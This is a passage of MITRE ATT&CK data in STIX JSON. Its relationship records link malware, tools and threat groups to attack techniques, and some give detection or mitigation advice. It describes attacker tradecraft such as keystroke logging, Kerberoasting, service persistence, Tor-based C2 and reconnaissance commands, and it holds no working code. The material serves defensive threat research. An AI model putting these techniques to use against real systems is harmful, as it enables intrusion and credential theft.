RAT](https://attack.mitre.org/software/S0032) can create a new service to establish persistence.(Citation: Nccgroup Gh0st April 2018)(Citation: Gh0stRAT ATT March 2019)", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9ad8c47-9cec-45c1-8d07-6154d2cc752b", "type": "relationship", "created": "2020-02-11T18:46:24.525Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:46:24.525Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9b92f28-c273-48cf-8ee6-dfa6c240cda9", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", "description": "Mercer, W., Rascagneres, P. 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Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}], "modified": "2020-12-03T20:21:23.680Z", "description": "[Carbon](https://attack.mitre.org/software/S0335) can use HTTP in C2 communications.(Citation: Accenture HyperStack October 2020)", "relationship_type": "uses", "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9bf9268-1c45-4293-a5c2-c493556ad546", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objsee mac malware 2017", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. 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(2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Flagpro](https://attack.mitre.org/software/S0696) has been used to execute `net view` to discover mapped network shares.(Citation: NTT Security Flagpro new December 2021)", "modified": "2022-04-13T20:23:29.589Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9e6a51e-69b1-4b21-9db1-5aabdded2f0a", "type": "relationship", "created": "2020-05-15T16:50:05.775Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FSecure Lokibot November 2019", "url": "https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml", "description": "Kazem, M. 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Retrieved May 15, 2020."}], "modified": "2020-05-18T22:00:40.779Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) has the ability to discover the computer name and Windows product name/version.(Citation: FSecure Lokibot November 2019)", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9ebd162-da0a-4582-ba63-6bb54e165730", "type": "relationship", "created": "2020-05-06T21:01:23.493Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Attor Oct 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.493Z", "description": "One of [Attor](https://attack.mitre.org/software/S0438)'s plugins can collect user credentials via capturing keystrokes and can capture keystrokes pressed within the window of the injected process.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9f79f14-d160-4be5-8bbe-ad0b52770b9f", "type": "relationship", "created": "2019-07-18T15:36:27.535Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-18T12:11:17.020Z", "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) opportunities can limit the exposure to this technique.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9f9bef5-31f0-44bf-bba5-4c13a5eda5ac", "type": "relationship", "created": "2020-07-01T21:05:18.895Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MacKeeper Bundlore Apr 2019", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}], "modified": "2020-07-01T21:30:17.406Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) can persist via a LaunchDaemon.(Citation: MacKeeper Bundlore Apr 2019)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a9fe98cb-cf51-49b0-b86b-9440ba964f8d", "created": "2022-03-30T14:26:51.845Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly constructed active directory objects, such as Windows EID 5137.", "modified": "2022-04-28T14:58:33.050Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a", "target_ref": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a9fedca4-fd68-4e3f-a564-cb9c168a8e4e", "type": "relationship", "created": "2021-04-20T13:11:26.237Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. 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Retrieved March 24, 2021."}], "modified": "2021-04-20T13:11:26.237Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has exfiltrated stolen data to Dropbox.(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aa045472-7c41-49c5-af44-4df9cf1fa073", "type": "relationship", "created": "2020-05-26T21:02:38.500Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Netwalker May 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", "description": "Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}], "modified": "2020-06-08T16:07:36.282Z", "description": "[Netwalker](https://attack.mitre.org/software/S0457) can use Windows API functions to inject the ransomware DLL.(Citation: TrendMicro Netwalker May 2020)", "relationship_type": "uses", "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--aa0819dc-ed46-4908-af81-cdcd5c4d1845", "created": "2024-01-22T18:19:33.731Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. 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(2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}, {"description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. 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Retrieved September 27, 2021."}], "modified": "2021-10-01T14:20:22.765Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) has the ability to download additional components and malware.(Citation: Trend Micro Qakbot May 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Cyberint Qakbot May 2021)(Citation: Kaspersky QakBot September 2021)(Citation: Group IB Ransomware September 2020)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--aa498c95-d53a-4ab7-96ba-26d7111d71d0", "created": "2022-04-14T17:03:26.376Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "NCSC CISA Cyclops Blink Advisory February 2022", "url": "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter", "description": "NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) has used [Tor](https://attack.mitre.org/software/S0183) nodes for C2 traffic.(Citation: NCSC CISA Cyclops Blink Advisory February 2022)", "modified": "2022-04-14T17:03:26.376Z", "relationship_type": "uses", "source_ref": "malware--b350b47f-88fe-4921-8538-6d9c59bac84e", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aa4ac94c-705e-4215-8d52-a97b583b62c5", "type": "relationship", "created": "2021-01-06T17:51:12.897Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}, {"source_name": "Crowdstrike EvilCorp March 2021", "url": "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", "description": "Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021."}, {"source_name": "Treasury EvilCorp Dec 2019", "url": "https://home.treasury.gov/news/press-releases/sm845", "description": "U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. 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Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.513Z", "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has used a macro function to set scheduled tasks, disguised as those used by Google.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aa60abd5-cc76-48b0-b39f-510317b18434", "type": "relationship", "created": "2022-01-11T14:58:01.886Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. 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Retrieved March 13, 2024.", "url": "https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"}, {"source_name": "SCILabs Malteiro 2021", "description": "SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. 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(2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}, {"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[DanBot](https://attack.mitre.org/software/S1014) has the ability to execute arbitrary commands via `cmd.exe`.(Citation: SecureWorks August 2019)(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-09-01T14:12:48.890Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--b8d48deb-450c-44f6-a934-ac8765aa89cb", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aa64ee12-ae96-40fe-ba37-a8893cd321ec", "type": "relationship", "created": "2019-07-19T16:38:05.330Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}], "modified": "2019-07-22T15:49:28.941Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used <code>whoami</code> and <code>query user</code> to obtain information about the victim user.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aa6d74b0-3db2-4679-bf1c-03d3dd7561b0", "type": "relationship", "created": "2019-03-26T17:48:52.178Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Banking Malware Jan 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/", "description": "Salvio, J.. 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Retrieved January 17, 2019."}, {"source_name": "Symantec Elfin Mar 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}], "modified": "2021-05-26T12:40:43.171Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has obtained and leveraged publicly-available tools for early intrusion activities.(Citation: FireEye APT33 Guardrail)(Citation: Symantec Elfin Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--aa83b2a0-9941-461f-b9be-a758315f0c4d", "created": "2022-06-03T16:10:56.515Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: SecureWorks August 2019)", "modified": "2022-06-03T16:10:56.515Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aa84727a-49eb-46cd-ac18-4fb7bd58fa98", "type": "relationship", "created": "2022-03-30T14:26:51.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.862Z", "description": "Monitor process API calls to <code>AddMonitor</code>.(Citation: AddMonitor)", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "AddMonitor", "description": "Microsoft. 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(2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020.", "url": "https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-14T19:05:01.511Z", "description": "[ngrok](https://attack.mitre.org/software/S0508) can provide DGA for C2 servers through the use of random URL strings that change every 12 hours.(Citation: Zdnet Ngrok September 2018)", "relationship_type": "uses", "source_ref": "tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aa9b33a5-81b2-4126-b8f5-0182ec365fc8", "type": "relationship", "created": "2019-09-24T14:19:05.339Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}], "modified": "2022-01-05T16:34:02.001Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a command to perform video device spying.(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aa9de902-8eb4-41b0-8b6a-b26469c78b27", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Monitor for newly constructed drive letters or mount points to a data storage device for attempts to write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock.", "source_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", "target_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aaa0e944-7158-4baa-b45b-c687f7b161b5", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/", "description": "Schroeder, W. & Hart M. (2016, October 31). Invoke-Kerberoast. Retrieved March 23, 2018.", "source_name": "PowerSploit Invoke Kerberoast"}, {"url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/", "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.", "source_name": "Harmj0y Kerberoast Nov 2016"}], "modified": "2020-03-18T20:30:29.799Z", "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Invoke-Kerberoast</code> module can request service tickets and return crackable ticket hashes.(Citation: PowerSploit Invoke Kerberoast)(Citation: Harmj0y Kerberoast Nov 2016)", "relationship_type": "uses", "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aaa2f519-62f6-4dcb-8193-6ed33b8ff4ab", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Github Koadic", "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", "url": "https://github.com/zerosum0x0/koadic"}], "modified": "2020-03-16T16:55:03.553Z", "description": "[Koadic](https://attack.mitre.org/software/S0250) can run a command on another machine using [PsExec](https://attack.mitre.org/software/S0029).(Citation: Github Koadic)", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aaa42f0a-5709-45e2-81d3-0687b3c72cc9", "type": "relationship", "created": "2022-02-04T22:03:05.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "modified": "2022-02-04T22:03:05.852Z", "description": "[Lizar](https://attack.mitre.org/software/S0681) can collect the computer name from the machine,.(Citation: BiZone Lizar May 2021) ", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--aaa7ebfc-f686-4aea-b54b-5e6366b276f7", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T18:13:24.097Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. It should be noted that when a host/ port/ service scan is performed from a compromised machine, a single machine makes multiple calls to other hosts in the network to identify live hosts and services.\n\nAfter compromising an initial machine, adversaries commonly attempt to laterally move across the network. The first step to attempt the [Lateral Movement](https://attack.mitre.org/tactics/TA0008) often involves conducting host identification, port and service scans on the internal network via the compromised machine using tools such as Nmap, Cobalt Strike, etc.\n\nNote: It should be noted that when a host/ port/ service scan is performed from a compromised machine, a single machine makes multiple calls to other hosts in the network to identify live hosts and services. This can be detected using the following query\n\nAnalytic 1 - Identifying Port Scanning Activity\n\n<code>sourcetype='firewall_logs' dest_ip='internal_subnet' | stats dc(dest_port) as pcount by src_ip | where pcount >5</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aaac742e-ad51-470d-826c-8196cf3c1d3e", "type": "relationship", "created": "2021-02-10T18:04:49.076Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}], "modified": "2021-02-10T18:04:49.076Z", "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) can deploy additional tools.(Citation: ClearSky Lebanese Cedar Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--aabb13d6-a73b-42aa-8014-696b94ff2416", "type": "relationship", "created": 